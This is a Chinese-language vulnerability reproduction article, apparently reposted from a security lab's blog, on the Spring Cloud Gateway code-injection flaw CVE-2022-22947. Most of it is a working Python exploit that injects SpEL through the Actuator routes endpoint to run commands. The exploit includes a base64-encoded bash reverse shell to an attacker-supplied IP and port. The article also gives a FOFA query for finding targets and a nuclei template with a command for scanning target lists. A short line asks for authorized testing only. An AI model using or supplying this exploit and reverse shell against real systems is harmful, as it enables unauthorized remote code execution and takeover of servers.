漏洞复现 CVE-2022-22947 Spring Cloud Gateway RCE

admin 2025年2月15日09:17:40评论21 views字数 6209阅读20分41秒阅读模式

0x01 漏洞描述

    SpringCloudGateway提供了一个库,用于在SpringWebFlux之上构建API网关。在3.1.0和3.0.6之前的版本中使用SpringCloudGateway的应用程序在启用、暴露和不安全的GatewayActuator端点时容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行

漏洞复现 CVE-2022-22947 Spring Cloud Gateway RCE

0x02 漏洞复现

漏洞影响:

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

FOFA:app="spring"

1.使用rce脚本进行反弹shell,nc监听得到一个shell

脚本地址:https://github.com/aodsec/CVE-2022-22947命令:python3 CVE-2022-22947.py http://目标地址 反弹IP 反弹端口脚本:import requestsimport jsonimport base64import reimport randomimport sysfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)def generate_random_str(randomlength=16):  random_str = ''  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz'  length = len(base_str) - 1  for i in range(randomlength):    random_str += base_str[random.randint(0, length)]  return random_strnew_str = generate_random_str()payload1 = '/actuator/gateway/routes/'+new_strpayload2 = '/actuator/gateway/refresh'payload3 = '/actuator/gateway/routes/'+new_strheaders = {    'Accept-Encoding': 'gzip, deflate',    'Accept': '*/*',    'Accept-Language': 'en',    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',    'Connection': 'close',    'Content-Type': 'application/json'}proxies = {    'http': 'http://192.168.1.119:8080'}data = 'eyAiaWQiOiAiYW9kU0VDIiwgImZpbHRlcnMiOiBbeyAibmFtZSI6ICJBZGRSZXNwb25zZUhlYWRlciIsICJhcmdzIjogeyAibmFtZSI6ICJSZXN1bHQiLCAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiQ21kXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiB9IH1dLCAidXJpIjogImh0dHA6Ly9leGFtcGxlLmNvbSIgfQ=='shell = 'eyAiaWQiOiAiYW9kU0VDIiwgImZpbHRlcnMiOiBbeyAibmFtZSI6ICJBZGRSZXNwb25zZUhlYWRlciIsICJhcmdzIjogeyAibmFtZSI6ICJSZXN1bHQiLCAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiL2Jpbi9iYXNoXCIsXCItY1wiLFwiYmFzaCAtaSA+JiAvZGV2L3RjcC9MX0lQL0xfUE9SVCAwPiYxXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiB9IH1dLCAidXJpIjogImh0dHA6Ly9leGFtcGxlLmNvbSIgfQ=='data1 = {    'Upgrade-Insecure-Requests': '1',    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',    'Accept-Encoding': 'gzip, deflate',    'Accept-Language': 'zh-CN,zh;q=0.9',    'Connection': 'close',    'Content-Type': 'application/x-www-form-urlencoded',    'Content-Length': '0'}def exec(url,cmd):    requests.post(url+payload1,headers=headers,data=base64.b64decode(data).decode().replace('Cmd',cmd).replace('aodSEC',new_str),verify=False,timeout=5)    requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)    a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text    exec = re.findall(r'Result = ['"]?([^'" )]+)', a)    print(exec)def exec_shell(url,l_ip,l_port):    requests.post(url+payload1,headers=headers,data=base64.b64decode(shell).decode().replace('L_IP',l_ip).replace('L_PORT',l_port).replace('aodSEC',new_str),verify=False,timeout=5)    requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)    a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text    exec = re.findall(r'Result = ['"]?([^'" )]+)', a)    print(exec)if __name__ == '__main__':    if len(sys.argv)==3:        url = sys.argv[1]        cmd = sys.argv[2]        exec(url,cmd)    elif len(sys.argv)==4:        url =  sys.argv[1]        l_ip =  sys.argv[2]        l_port =  sys.argv[3]        try:            exec_shell(url,l_ip,l_port)        except:            print("done!!!")    else:        print('+-------------------------------------------------------------------+')        print('+-------------------------------------------------------------------+')        print('+ USE: python3 CVE-2022-22947.py url whoami                         +')        print('+ USE: python3 CVE-2022-22947.py url l_ip l_port                    +')        print('+-------------------------------------------------------------------+')        sys.exit()

漏洞复现 CVE-2022-22947 Spring Cloud Gateway RCE

2.nuclei已经集成该漏洞脚本(nuclei稳定快,编写poc简单,有社区维护,推荐使用)

nuclei下载地址:https://github.com/projectdiscovery/nuclei

批量验证命令:nuclei.exe -t cves/2022/CVE-2022-22947.yaml -l subs.txtyaml POC:id: CVE-2022-22947info:  name: Spring Cloud Gateway Code Injection  author: pdteam  severity: critical  description: Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.  reference:    - https://nvd.nist.gov/vuln/detail/CVE-2022-22947    - https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/    - https://github.com/wdahlenburg/spring-gateway-demo    - https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published    - https://tanzu.vmware.com/security/cve-2022-22947  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H    cvss-score: 10    cve-id: CVE-2022-22947    cwe-id: CWE-94  tags: cve,cve2022,apache,spring,vmware,actuator,oastrequests:  - raw:      - |        POST /actuator/gateway/routes/{{randstr}} HTTP/1.1        Host: {{Hostname}}        Content-Type: application/json        {          "predicates": [            {              "name": "Path",              "args": {                "_genkey_0": "/{{randstr}}/**"              }            }          ],          "filters": [            {              "name": "RewritePath",              "args": {                "_genkey_0": "#{T(java.net.InetAddress).getByName("{{interactsh-url}}")}",                "_genkey_1": "/${path}"              }            }          ],          "uri": "{{RootURL}}",          "order": 0        }      - |        POST /actuator/gateway/refresh HTTP/1.1        Host: {{Hostname}}        Content-Type: application/json        {          "predicate": "Paths: [/{{randstr}}], match trailing slash: true",          "route_id": "{{randstr}}",          "filters": [            "[[RewritePath #{T(java.net.InetAddress).getByName("{{interactsh-url}}")} = /${path}], order = 1]"          ],          "uri": "{{RootURL}}",          "order": 0        }      - |        DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1        Host: {{Hostname}}    matchers-condition: and    matchers:      - type: status        status:          - 201      - type: word        part: header        words:          - "/routes/{{randstr}}"      - type: word        part: interactsh_protocol        words:          - "dns"# Enhanced by mp on 2022/03/08

漏洞复现 CVE-2022-22947 Spring Cloud Gateway RCE

(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)

0x03 公司简介

江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
    公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......

编制:sm

审核:fjh

审核:Dog

原文始发于微信公众号(融云攻防实验室):漏洞复现 CVE-2022-22947 Spring Cloud Gateway RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日09:17:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现 CVE-2022-22947 Spring Cloud Gateway RCEhttps://cn-sec.com/archives/1054554.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息